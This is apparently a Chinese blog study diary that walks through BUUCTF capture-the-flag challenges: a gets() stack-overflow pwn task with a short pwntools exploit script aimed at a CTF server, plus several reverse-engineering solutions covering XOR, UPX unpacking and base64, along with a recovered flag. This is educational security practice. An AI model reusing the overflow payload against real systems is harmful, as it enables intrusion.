2021/11/05-學(xué)習(xí)日記

1.BUUCTF

ciscn_2019_n_1

檢查程序的保護(hù)機(jī)制。


1-1

IDA中查到關(guān)鍵代碼塊為func函數(shù)。


1-2

危險(xiǎn)函數(shù)gets,v1長度也只有44,可以棧溢出。v1和v2定義在一起的,所以應(yīng)把v1填滿,再將v2填為11.28125(0x41348000)。
//python3
from pwn import *
ctf=remote('node4.buuoj.cn',28098)#建立連接
payload='a'*44 + p64(0x41348000).decode('unicode_escape')
flag=str.encode(payload)
ctf.sendline(flag)
ctf.interactive()

這里跑不出flag,看了wp也沒找出程序有啥問題。

reverse2

放進(jìn)IDA,找到關(guān)鍵代碼塊。


1-3

把i和r換為1。
shift+F12找到疑似flag。


1-4

所以最后的flag就是flag{hack1ng_fo1_fun}。

內(nèi)涵的軟件

先用exeinfo查看一下程序的基本信息。


1-5

32位的文件,使用IDA PRO(32-bit)打開文件,flag就在眼前了。


1-6

新年快樂

1-7

32位,有殼,UPX壓縮殼,使用upx直接脫殼即可。
然后在ida中查看,得到flag。


1-8

xor

1-9

要求輸入一個(gè)長度為33的字符串,然后進(jìn)行操作:
b[1]=b[1]^b[0],
b[2]=b[2]^b[1],
...
b[32]=b[32]^b[31]
然后和global比較前33位字符,要求相同。接下來要找到global的值。


1-10

再次雙擊進(jìn)去。


1-11

可以得到global的33個(gè)字符為['f',0xA,'k',0xC,'w','&','O','.','@',0x11,'x',0xD,'Z',';','U',0x11,'p',0x19,'F',0x1F,'v','"','M','#','D',0xE,'g',6,'h',0xF,'G','2','O']。
我們需要構(gòu)造一個(gè)字符串,使此串進(jìn)行了上述操作后剛好與global相同。進(jìn)行反推,可得:
b[32]=O^b[31],
b[31]=2^b[30],
...
b[1]=0xA^b[0],
b[0]=f
構(gòu)造腳本如下:
//python3
global_list=['f',0xA,'k',0xC,'w','&','O','.','@',0x11,'x',0xD,'Z',';','U',0x11,'p',0x19,'F',0x1F,'v','"','M','#','D',0xE,'g',6,'h',0xF,'G','2','O']
flag='f'
for i in range(1,33):
    if(isinstance(global_list[i],int)):
        global_list[i]=chr(global_list[i])
    flag+=chr(ord(global_list[i-1])^ord(global_list[i]))
print(flag)

helloword

使用JEB反編譯apk文件,直接查找即可。


1-12

reverse3

32位文件,無殼。
關(guān)鍵代碼塊:


1-13

代碼邏輯很清晰,把輸入的串通過sub_4110BE函數(shù),再過一個(gè)for循環(huán),然后跟str2("e3nifIH9b_C@n@dH")比較。
查看sub_4110BE函數(shù),發(fā)現(xiàn)一個(gè)叫aAbcdefghijklmn的變量,查看。


1-14

這是base64的字符集合,可以確定這個(gè)函數(shù)的作用就是base64加密。
后面的for循環(huán)也很簡單,寫個(gè)py腳本得出for循環(huán)之前的串,再拿去base解碼就行了。
//python3
s='e3nifIH9b_C@n@dH'
s_list=list(s)
for i in range(0,16):
    s_list[i]=chr(ord(s_list[i])-i)
s=''.join(s_list)
print(s)
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容